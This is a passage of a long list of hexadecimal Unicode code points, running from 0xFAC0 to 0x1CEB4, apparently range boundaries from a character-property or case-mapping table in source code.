0xFAC0, - 0xFAC1, - 0xFAC2, - 0xFAC3, - 0xFAC4, - 0xFAC5, - 0xFAC6, - 0xFAC7, - 0xFAC8, - 0xFAC9, - 0xFACA, - 0xFACB, - 0xFACC, - 0xFACD, - 0xFACE, - 0xFACF, - 0xFAD0, - 0xFAD1, - 0xFAD2, - 0xFAD3, - 0xFAD4, - 0xFAD5, - 0xFAD6, - 0xFAD7, - 0xFAD8, - 0xFAD9, - 0xFADA, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB21, - 0xFB22, - 0xFB23, - 0xFB24, - 0xFB25, - 0xFB26, - 0xFB27, - 0xFB28, - 0xFB29, - 0xFB2A, - 0xFB2B, - 0xFB2C, - 0xFB2D, - 0xFB2E, - 0xFB2F, - 0xFB30, - 0xFB31, - 0xFB32, - 0xFB33, - 0xFB34, - 0xFB35, - 0xFB36, - 0xFB37, - 0xFB38, - 0xFB39, - 0xFB3A, - 0xFB3B, - 0xFB3C, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB41, - 0xFB42, - 0xFB43, - 0xFB44, - 0xFB45, - 0xFB46, - 0xFB47, - 0xFB48, - 0xFB49, - 0xFB4A, - 0xFB4B, - 0xFB4C, - 0xFB4D, - 0xFB4E, - 0xFB4F, - 0xFB50, - 0xFB52, - 0xFB56, - 0xFB5A, - 0xFB5E, - 0xFB62, - 0xFB66, - 0xFB6A, - 0xFB6E, - 0xFB72, - 0xFB76, - 0xFB7A, - 0xFB7E, - 0xFB82, - 0xFB84, - 0xFB86, - 0xFB88, - 0xFB8A, - 0xFB8C, - 0xFB8E, - 0xFB92, - 0xFB96, - 0xFB9A, - 0xFB9E, - 0xFBA0, - 0xFBA4, - 0xFBA6, - 0xFBAA, - 0xFBAE, - 0xFBB0, - 0xFBB2, - 0xFBD3, - 0xFBD7, - 0xFBD9, - 0xFBDB, - 0xFBDD, - 0xFBDE, - 0xFBE0, - 0xFBE2, - 0xFBE4, - 0xFBE8, - 0xFBEA, - 0xFBEC, - 0xFBEE, - 0xFBF0, - 0xFBF2, - 0xFBF4, - 0xFBF6, - 0xFBF9, - 0xFBFC, - 0xFC00, - 0xFC01, - 0xFC02, - 0xFC03, - 0xFC04, - 0xFC05, - 0xFC06, - 0xFC07, - 0xFC08, - 0xFC09, - 0xFC0A, - 0xFC0B, - 0xFC0C, - 0xFC0D, - 0xFC0E, - 0xFC0F, - 0xFC10, - 0xFC11, - 0xFC12, - 0xFC13, - 0xFC14, - 0xFC15, - 0xFC16, - 0xFC17, - 0xFC18, - 0xFC19, - 0xFC1A, - 0xFC1B, - 0xFC1C, - 0xFC1D, - 0xFC1E, - 0xFC1F, - 0xFC20, - 0xFC21, - 0xFC22, - 0xFC23, - 0xFC24, - 0xFC25, - 0xFC26, - 0xFC27, - 0xFC28, - 0xFC29, - 0xFC2A, - 0xFC2B, - 0xFC2C, - 0xFC2D, - 0xFC2E, - 0xFC2F, - 0xFC30, - 0xFC31, - 0xFC32, - 0xFC33, - 0xFC34, - 0xFC35, - 0xFC36, - 0xFC37, - 0xFC38, - 0xFC39, - 0xFC3A, - 0xFC3B, - 0xFC3C, - 0xFC3D, - 0xFC3E, - 0xFC3F, - 0xFC40, - 0xFC41, - 0xFC42, - 0xFC43, - 0xFC44, - 0xFC45, - 0xFC46, - 0xFC47, - 0xFC48, - 0xFC49, - 0xFC4A, - 0xFC4B, - 0xFC4C, - 0xFC4D, - 0xFC4E, - 0xFC4F, - 0xFC50, - 0xFC51, - 0xFC52, - 0xFC53, - 0xFC54, - 0xFC55, - 0xFC56, - 0xFC57, - 0xFC58, - 0xFC59, - 0xFC5A, - 0xFC5B, - 0xFC5C, - 0xFC5D, - 0xFC5E, - 0xFC5F, - 0xFC60, - 0xFC61, - 0xFC62, - 0xFC63, - 0xFC64, - 0xFC65, - 0xFC66, - 0xFC67, - 0xFC68, - 0xFC69, - 0xFC6A, - 0xFC6B, - 0xFC6C, - 0xFC6D, - 0xFC6E, - 0xFC6F, - 0xFC70, - 0xFC71, - 0xFC72, - 0xFC73, - 0xFC74, - 0xFC75, - 0xFC76, - 0xFC77, - 0xFC78, - 0xFC79, - 0xFC7A, - 0xFC7B, - 0xFC7C, - 0xFC7D, - 0xFC7E, - 0xFC7F, - 0xFC80, - 0xFC81, - 0xFC82, - 0xFC83, - 0xFC84, - 0xFC85, - 0xFC86, - 0xFC87, - 0xFC88, - 0xFC89, - 0xFC8A, - 0xFC8B, - 0xFC8C, - 0xFC8D, - 0xFC8E, - 0xFC8F, - 0xFC90, - 0xFC91, - 0xFC92, - 0xFC93, - 0xFC94, - 0xFC95, - 0xFC96, - 0xFC97, - 0xFC98, - 0xFC99, - 0xFC9A, - 0xFC9B, - 0xFC9C, - 0xFC9D, - 0xFC9E, - 0xFC9F, - 0xFCA0, - 0xFCA1, - 0xFCA2, - 0xFCA3, - 0xFCA4, - 0xFCA5, - 0xFCA6, - 0xFCA7, - 0xFCA8, - 0xFCA9, - 0xFCAA, - 0xFCAB, - 0xFCAC, - 0xFCAD, - 0xFCAE, - 0xFCAF, - 0xFCB0, - 0xFCB1, - 0xFCB2, - 0xFCB3, - 0xFCB4, - 0xFCB5, - 0xFCB6, - 0xFCB7, - 0xFCB8, - 0xFCB9, - 0xFCBA, - 0xFCBB, - 0xFCBC, - 0xFCBD, - 0xFCBE, - 0xFCBF, - 0xFCC0, - 0xFCC1, - 0xFCC2, - 0xFCC3, - 0xFCC4, - 0xFCC5, - 0xFCC6, - 0xFCC7, - 0xFCC8, - 0xFCC9, - 0xFCCA, - 0xFCCB, - 0xFCCC, - 0xFCCD, - 0xFCCE, - 0xFCCF, - 0xFCD0, - 0xFCD1, - 0xFCD2, - 0xFCD3, - 0xFCD4, - 0xFCD5, - 0xFCD6, - 0xFCD7, - 0xFCD8, - 0xFCD9, - 0xFCDA, - 0xFCDB, - 0xFCDC, - 0xFCDD, - 0xFCDE, - 0xFCDF, - 0xFCE0, - 0xFCE1, - 0xFCE2, - 0xFCE3, - 0xFCE4, - 0xFCE5, - 0xFCE6, - 0xFCE7, - 0xFCE8, - 0xFCE9, - 0xFCEA, - 0xFCEB, - 0xFCEC, - 0xFCED, - 0xFCEE, - 0xFCEF, - 0xFCF0, - 0xFCF1, - 0xFCF2, - 0xFCF3, - 0xFCF4, - 0xFCF5, - 0xFCF6, - 0xFCF7, - 0xFCF8, - 0xFCF9, - 0xFCFA, - 0xFCFB, - 0xFCFC, - 0xFCFD, - 0xFCFE, - 0xFCFF, - 0xFD00, - 0xFD01, - 0xFD02, - 0xFD03, - 0xFD04, - 0xFD05, - 0xFD06, - 0xFD07, - 0xFD08, - 0xFD09, - 0xFD0A, - 0xFD0B, - 0xFD0C, - 0xFD0D, - 0xFD0E, - 0xFD0F, - 0xFD10, - 0xFD11, - 0xFD12, - 0xFD13, - 0xFD14, - 0xFD15, - 0xFD16, - 0xFD17, - 0xFD18, - 0xFD19, - 0xFD1A, - 0xFD1B, - 0xFD1C, - 0xFD1D, - 0xFD1E, - 0xFD1F, - 0xFD20, - 0xFD21, - 0xFD22, - 0xFD23, - 0xFD24, - 0xFD25, - 0xFD26, - 0xFD27, - 0xFD28, - 0xFD29, - 0xFD2A, - 0xFD2B, - 0xFD2C, - 0xFD2D, - 0xFD2E, - 0xFD2F, - 0xFD30, - 0xFD31, - 0xFD32, - 0xFD33, - 0xFD34, - 0xFD35, - 0xFD36, - 0xFD37, - 0xFD38, - 0xFD39, - 0xFD3A, - 0xFD3B, - 0xFD3C, - 0xFD3E, - 0xFD50, - 0xFD51, - 0xFD53, - 0xFD54, - 0xFD55, - 0xFD56, - 0xFD57, - 0xFD58, - 0xFD5A, - 0xFD5B, - 0xFD5C, - 0xFD5D, - 0xFD5E, - 0xFD5F, - 0xFD61, - 0xFD62, - 0xFD64, - 0xFD66, - 0xFD67, - 0xFD69, - 0xFD6A, - 0xFD6C, - 0xFD6E, - 0xFD6F, - 0xFD71, - 0xFD73, - 0xFD74, - 0xFD75, - 0xFD76, - 0xFD78, - 0xFD79, - 0xFD7A, - 0xFD7B, - 0xFD7C, - 0xFD7E, - 0xFD7F, - 0xFD80, - 0xFD81, - 0xFD82, - 0xFD83, - 0xFD85, - 0xFD87, - 0xFD89, - 0xFD8A, - 0xFD8B, - 0xFD8C, - 0xFD8D, - 0xFD8E, - 0xFD8F, - 0xFD90, - 0xFD92, - 0xFD93, - 0xFD94, - 0xFD95, - 0xFD96, - 0xFD97, - 0xFD99, - 0xFD9A, - 0xFD9B, - 0xFD9C, - 0xFD9E, - 0xFD9F, - 0xFDA0, - 0xFDA1, - 0xFDA2, - 0xFDA3, - 0xFDA4, - 0xFDA5, - 0xFDA6, - 0xFDA7, - 0xFDA8, - 0xFDA9, - 0xFDAA, - 0xFDAB, - 0xFDAC, - 0xFDAD, - 0xFDAE, - 0xFDAF, - 0xFDB0, - 0xFDB1, - 0xFDB2, - 0xFDB3, - 0xFDB4, - 0xFDB5, - 0xFDB6, - 0xFDB7, - 0xFDB8, - 0xFDB9, - 0xFDBA, - 0xFDBB, - 0xFDBC, - 0xFDBD, - 0xFDBE, - 0xFDBF, - 0xFDC0, - 0xFDC1, - 0xFDC2, - 0xFDC3, - 0xFDC4, - 0xFDC5, - 0xFDC6, - 0xFDC7, - 0xFDC8, - 0xFDD0, - 0xFDF0, - 0xFDF1, - 0xFDF2, - 0xFDF3, - 0xFDF4, - 0xFDF5, - 0xFDF6, - 0xFDF7, - 0xFDF8, - 0xFDF9, - 0xFDFA, - 0xFDFB, - 0xFDFC, - 0xFDFD, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE15, - 0xFE16, - 0xFE17, - 0xFE18, - 0xFE19, - 0xFE20, - 0xFE30, - 0xFE31, - 0xFE32, - 0xFE33, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE47, - 0xFE48, - 0xFE49, - 0xFE4D, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE57, - 0xFE58, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFE60, - 0xFE61, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE65, - 0xFE66, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6B, - 0xFE6C, - 0xFE70, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFE80, - 0xFE81, - 0xFE83, - 0xFE85, - 0xFE87, - 0xFE89, - 0xFE8D, - 0xFE8F, - 0xFE93, - 0xFE95, - 0xFE99, - 0xFE9D, - 0xFEA1, - 0xFEA5, - 0xFEA9, - 0xFEAB, - 0xFEAD, - 0xFEAF, - 0xFEB1, - 0xFEB5, - 0xFEB9, - 0xFEBD, - 0xFEC1, - 0xFEC5, - 0xFEC9, - 0xFECD, - 0xFED1, - 0xFED5, - 0xFED9, - 0xFEDD, - 0xFEE1, - 0xFEE5, - 0xFEE9, - 0xFEED, - 0xFEEF, - 0xFEF1, - 0xFEF5, - 0xFEF7, - 0xFEF9, - 0xFEFB, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF03, - 0xFF04, - 0xFF05, - 0xFF06, - 0xFF07, - 0xFF08, - 0xFF09, - 0xFF0A, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF10, - 0xFF11, - 0xFF12, - 0xFF13, - 0xFF14, - 0xFF15, - 0xFF16, - 0xFF17, - 0xFF18, - 0xFF19, - 0xFF1A, - 0xFF1B, - 0xFF1C, - 0xFF1D, - 0xFF1E, - 0xFF1F, - 0xFF20, - 0xFF21, - 0xFF22, - 0xFF23, - 0xFF24, - 0xFF25, - 0xFF26, - 0xFF27, - 0xFF28, - 0xFF29, - 0xFF2A, - 0xFF2B, - 0xFF2C, - 0xFF2D, - 0xFF2E, - 0xFF2F, - 0xFF30, - 0xFF31, - 0xFF32, - 0xFF33, - 0xFF34, - 0xFF35, - 0xFF36, - 0xFF37, - 0xFF38, - 0xFF39, - 0xFF3A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF42, - 0xFF43, - 0xFF44, - 0xFF45, - 0xFF46, - 0xFF47, - 0xFF48, - 0xFF49, - 0xFF4A, - 0xFF4B, - 0xFF4C, - 0xFF4D, - 0xFF4E, - 0xFF4F, - 0xFF50, - 0xFF51, - 0xFF52, - 0xFF53, - 0xFF54, - 0xFF55, - 0xFF56, - 0xFF57, - 0xFF58, - 0xFF59, - 0xFF5A, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF60, - 0xFF61, - 0xFF62, - 0xFF63, - 0xFF64, - 0xFF65, - 0xFF66, - 0xFF67, - 0xFF68, - 0xFF69, - 0xFF6A, - 0xFF6B, - 0xFF6C, - 0xFF6D, - 0xFF6E, - 0xFF6F, - 0xFF70, - 0xFF71, - 0xFF72, - 0xFF73, - 0xFF74, - 0xFF75, - 0xFF76, - 0xFF77, - 0xFF78, - 0xFF79, - 0xFF7A, - 0xFF7B, - 0xFF7C, - 0xFF7D, - 0xFF7E, - 0xFF7F, - 0xFF80, - 0xFF81, - 0xFF82, - 0xFF83, - 0xFF84, - 0xFF85, - 0xFF86, - 0xFF87, - 0xFF88, - 0xFF89, - 0xFF8A, - 0xFF8B, - 0xFF8C, - 0xFF8D, - 0xFF8E, - 0xFF8F, - 0xFF90, - 0xFF91, - 0xFF92, - 0xFF93, - 0xFF94, - 0xFF95, - 0xFF96, - 0xFF97, - 0xFF98, - 0xFF99, - 0xFF9A, - 0xFF9B, - 0xFF9C, - 0xFF9D, - 0xFF9E, - 0xFF9F, - 0xFFA0, - 0xFFA1, - 0xFFA2, - 0xFFA3, - 0xFFA4, - 0xFFA5, - 0xFFA6, - 0xFFA7, - 0xFFA8, - 0xFFA9, - 0xFFAA, - 0xFFAB, - 0xFFAC, - 0xFFAD, - 0xFFAE, - 0xFFAF, - 0xFFB0, - 0xFFB1, - 0xFFB2, - 0xFFB3, - 0xFFB4, - 0xFFB5, - 0xFFB6, - 0xFFB7, - 0xFFB8, - 0xFFB9, - 0xFFBA, - 0xFFBB, - 0xFFBC, - 0xFFBD, - 0xFFBE, - 0xFFBF, - 0xFFC2, - 0xFFC3, - 0xFFC4, - 0xFFC5, - 0xFFC6, - 0xFFC7, - 0xFFC8, - 0xFFCA, - 0xFFCB, - 0xFFCC, - 0xFFCD, - 0xFFCE, - 0xFFCF, - 0xFFD0, - 0xFFD2, - 0xFFD3, - 0xFFD4, - 0xFFD5, - 0xFFD6, - 0xFFD7, - 0xFFD8, - 0xFFDA, - 0xFFDB, - 0xFFDC, - 0xFFDD, - 0xFFE0, - 0xFFE1, - 0xFFE2, - 0xFFE3, - 0xFFE4, - 0xFFE5, - 0xFFE6, - 0xFFE7, - 0xFFE8, - 0xFFE9, - 0xFFEA, - 0xFFEB, - 0xFFEC, - 0xFFED, - 0xFFEE, - 0xFFEF, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019D, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x10401, - 0x10402, - 0x10403, - 0x10404, - 0x10405, - 0x10406, - 0x10407, - 0x10408, - 0x10409, - 0x1040A, - 0x1040B, - 0x1040C, - 0x1040D, - 0x1040E, - 0x1040F, - 0x10410, - 0x10411, - 0x10412, - 0x10413, - 0x10414, - 0x10415, - 0x10416, - 0x10417, - 0x10418, - 0x10419, - 0x1041A, - 0x1041B, - 0x1041C, - 0x1041D, - 0x1041E, - 0x1041F, - 0x10420, - 0x10421, - 0x10422, - 0x10423, - 0x10424, - 0x10425, - 0x10426, - 0x10427, - 0x10428, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104B1, - 0x104B2, - 0x104B3, - 0x104B4, - 0x104B5, - 0x104B6, - 0x104B7, - 0x104B8, - 0x104B9, - 0x104BA, - 0x104BB, - 0x104BC, - 0x104BD, - 0x104BE, - 0x104BF, - 0x104C0, - 0x104C1, - 0x104C2, - 0x104C3, - 0x104C4, - 0x104C5, - 0x104C6, - 0x104C7, - 0x104C8, - 0x104C9, - 0x104CA, - 0x104CB, - 0x104CC, - 0x104CD, - 0x104CE, - 0x104CF, - 0x104D0, - 0x104D1, - 0x104D2, - 0x104D3, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10571, - 0x10572, - 0x10573, - 0x10574, - 0x10575, - 0x10576, - 0x10577, - 0x10578, - 0x10579, - 0x1057A, - 0x1057B, - 0x1057C, - 0x1057D, - 0x1057E, - 0x1057F, - 0x10580, - 0x10581, - 0x10582, - 0x10583, - 0x10584, - 0x10585, - 0x10586, - 0x10587, - 0x10588, - 0x10589, - 0x1058A, - 0x1058B, - 0x1058C, - 0x1058D, - 0x1058E, - 0x1058F, - 0x10590, - 0x10591, - 0x10592, - 0x10593, - 0x10594, - 0x10595, - 0x10596, - 0x10597, - 0x105A2, - 0x105A3, - 0x105B2, - 0x105B3, - 0x105BA, - 0x105BB, - 0x105BD, - 0x105C0, - 0x105F4, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10780, - 0x10781, - 0x10782, - 0x10783, - 0x10784, - 0x10785, - 0x10786, - 0x10787, - 0x10788, - 0x10789, - 0x1078A, - 0x1078B, - 0x1078C, - 0x1078D, - 0x1078E, - 0x1078F, - 0x10790, - 0x10791, - 0x10792, - 0x10793, - 0x10794, - 0x10795, - 0x10796, - 0x10797, - 0x10798, - 0x10799, - 0x1079A, - 0x1079B, - 0x1079C, - 0x1079D, - 0x1079E, - 0x1079F, - 0x107A0, - 0x107A1, - 0x107A2, - 0x107A3, - 0x107A4, - 0x107A5, - 0x107A6, - 0x107A7, - 0x107A8, - 0x107A9, - 0x107AA, - 0x107AB, - 0x107AC, - 0x107AD, - 0x107AE, - 0x107AF, - 0x107B0, - 0x107B1, - 0x107B2, - 0x107B3, - 0x107B4, - 0x107B5, - 0x107B6, - 0x107B7, - 0x107B8, - 0x107B9, - 0x107BA, - 0x107BB, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x1095A, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A36, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A49, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10C81, - 0x10C82, - 0x10C83, - 0x10C84, - 0x10C85, - 0x10C86, - 0x10C87, - 0x10C88, - 0x10C89, - 0x10C8A, - 0x10C8B, - 0x10C8C, - 0x10C8D, - 0x10C8E, - 0x10C8F, - 0x10C90, - 0x10C91, - 0x10C92, - 0x10C93, - 0x10C94, - 0x10C95, - 0x10C96, - 0x10C97, - 0x10C98, - 0x10C99, - 0x10C9A, - 0x10C9B, - 0x10C9C, - 0x10C9D, - 0x10C9E, - 0x10C9F, - 0x10CA0, - 0x10CA1, - 0x10CA2, - 0x10CA3, - 0x10CA4, - 0x10CA5, - 0x10CA6, - 0x10CA7, - 0x10CA8, - 0x10CA9, - 0x10CAA, - 0x10CAB, - 0x10CAC, - 0x10CAD, - 0x10CAE, - 0x10CAF, - 0x10CB0, - 0x10CB1, - 0x10CB2, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D28, - 0x10D30, - 0x10D3A, - 0x10D40, - 0x10D50, - 0x10D51, - 0x10D52, - 0x10D53, - 0x10D54, - 0x10D55, - 0x10D56, - 0x10D57, - 0x10D58, - 0x10D59, - 0x10D5A, - 0x10D5B, - 0x10D5C, - 0x10D5D, - 0x10D5E, - 0x10D5F, - 0x10D60, - 0x10D61, - 0x10D62, - 0x10D63, - 0x10D64, - 0x10D65, - 0x10D66, - 0x10D69, - 0x10D86, - 0x10D8E, - 0x10D90, - 0x10E60, - 0x10E7F, - 0x10E80, - 0x10EAA, - 0x10EAB, - 0x10EAE, - 0x10EB0, - 0x10EB2, - 0x10EC2, - 0x10EC8, - 0x10ED0, - 0x10ED9, - 0x10EFA, - 0x10F28, - 0x10F30, - 0x10F5A, - 0x10F70, - 0x10F8A, - 0x10FB0, - 0x10FCC, - 0x10FE0, - 0x10FF7, - 0x11000, - 0x1104E, - 0x11052, - 0x11076, - 0x1107F, - 0x110BD, - 0x110BE, - 0x110C3, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11148, - 0x11150, - 0x11177, - 0x11180, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x11242, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133B, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11380, - 0x1138A, - 0x1138B, - 0x1138C, - 0x1138E, - 0x1138F, - 0x11390, - 0x113B6, - 0x113B7, - 0x113C1, - 0x113C2, - 0x113C3, - 0x113C5, - 0x113C6, - 0x113C7, - 0x113CB, - 0x113CC, - 0x113D6, - 0x113D7, - 0x113D9, - 0x113E1, - 0x113E3, - 0x11400, - 0x1145C, - 0x1145D, - 0x11462, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116BA, - 0x116C0, - 0x116CA, - 0x116D0, - 0x116E4, - 0x11700, - 0x1171B, - 0x1171D, - 0x1172C, - 0x11730, - 0x11747, - 0x11800, - 0x1183C, - 0x118A0, - 0x118A1, - 0x118A2, - 0x118A3, - 0x118A4, - 0x118A5, - 0x118A6, - 0x118A7, - 0x118A8, - 0x118A9, - 0x118AA, - 0x118AB, - 0x118AC, - 0x118AD, - 0x118AE, - 0x118AF, - 0x118B0, - 0x118B1, - 0x118B2, - 0x118B3, - 0x118B4, - 0x118B5, - 0x118B6, - 0x118B7, - 0x118B8, - 0x118B9, - 0x118BA, - 0x118BB, - 0x118BC, - 0x118BD, - 0x118BE, - 0x118BF, - 0x118C0, - 0x118F3, - 0x118FF, - 0x11907, - 0x11909, - 0x1190A, - 0x1190C, - 0x11914, - 0x11915, - 0x11917, - 0x11918, - 0x11936, - 0x11937, - 0x11939, - 0x1193B, - 0x11947, - 0x11950, - 0x1195A, - 0x119A0, - 0x119A8, - 0x119AA, - 0x119D8, - 0x119DA, - 0x119E5, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11AA3, - 0x11AB0, - 0x11AF9, - 0x11B00, - 0x11B0A, - 0x11B60, - 0x11B68, - 0x11BC0, - 0x11BE2, - 0x11BF0, - 0x11BFA, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x11D60, - 0x11D66, - 0x11D67, - 0x11D69, - 0x11D6A, - 0x11D8F, - 0x11D90, - 0x11D92, - 0x11D93, - 0x11D99, - 0x11DA0, - 0x11DAA, - 0x11DB0, - 0x11DDC, - 0x11DE0, - 0x11DEA, - 0x11EE0, - 0x11EF9, - 0x11F00, - 0x11F11, - 0x11F12, - 0x11F3B, - 0x11F3E, - 0x11F5B, - 0x11FB0, - 0x11FB1, - 0x11FC0, - 0x11FF2, - 0x11FFF, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x12F90, - 0x12FF3, - 0x13000, - 0x13430, - 0x13440, - 0x13456, - 0x13460, - 0x143FB, - 0x14400, - 0x14647, - 0x16100, - 0x1613A, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16ABF, - 0x16AC0, - 0x16ACA, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16D40, - 0x16D7A, - 0x16E40, - 0x16E41, - 0x16E42, - 0x16E43, - 0x16E44, - 0x16E45, - 0x16E46, - 0x16E47, - 0x16E48, - 0x16E49, - 0x16E4A, - 0x16E4B, - 0x16E4C, - 0x16E4D, - 0x16E4E, - 0x16E4F, - 0x16E50, - 0x16E51, - 0x16E52, - 0x16E53, - 0x16E54, - 0x16E55, - 0x16E56, - 0x16E57, - 0x16E58, - 0x16E59, - 0x16E5A, - 0x16E5B, - 0x16E5C, - 0x16E5D, - 0x16E5E, - 0x16E5F, - 0x16E60, - 0x16E9B, - 0x16EA0, - 0x16EA1, - 0x16EA2, - 0x16EA3, - 0x16EA4, - 0x16EA5, - 0x16EA6, - 0x16EA7, - 0x16EA8, - 0x16EA9, - 0x16EAA, - 0x16EAB, - 0x16EAC, - 0x16EAD, - 0x16EAE, - 0x16EAF, - 0x16EB0, - 0x16EB1, - 0x16EB2, - 0x16EB3, - 0x16EB4, - 0x16EB5, - 0x16EB6, - 0x16EB7, - 0x16EB8, - 0x16EB9, - 0x16EBB, - 0x16ED4, - 0x16F00, - 0x16F4B, - 0x16F4F, - 0x16F88, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE5, - 0x16FF0, - 0x16FF7, - 0x17000, - 0x18CD6, - 0x18CFF, - 0x18D1F, - 0x18D80, - 0x18DF3, - 0x1AFF0, - 0x1AFF4, - 0x1AFF5, - 0x1AFFC, - 0x1AFFD, - 0x1AFFF, - 0x1B000, - 0x1B123, - 0x1B132, - 0x1B133, - 0x1B150, - 0x1B153, - 0x1B155, - 0x1B156, - 0x1B164, - 0x1B168, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA0, - 0x1BCA4, - 0x1CC00, - 0x1CCD6, - 0x1CCD7, - 0x1CCD8, - 0x1CCD9, - 0x1CCDA, - 0x1CCDB, - 0x1CCDC, - 0x1CCDD, - 0x1CCDE, - 0x1CCDF, - 0x1CCE0, - 0x1CCE1, - 0x1CCE2, - 0x1CCE3, - 0x1CCE4, - 0x1CCE5, - 0x1CCE6, - 0x1CCE7, - 0x1CCE8, - 0x1CCE9, - 0x1CCEA, - 0x1CCEB, - 0x1CCEC, - 0x1CCED, - 0x1CCEE, - 0x1CCEF, - 0x1CCF0, - 0x1CCF1, - 0x1CCF2, - 0x1CCF3, - 0x1CCF4, - 0x1CCF5, - 0x1CCF6, - 0x1CCF7, - 0x1CCF8, - 0x1CCF9, - 0x1CCFA, - 0x1CCFD, - 0x1CD00, - 0x1CEB4, - 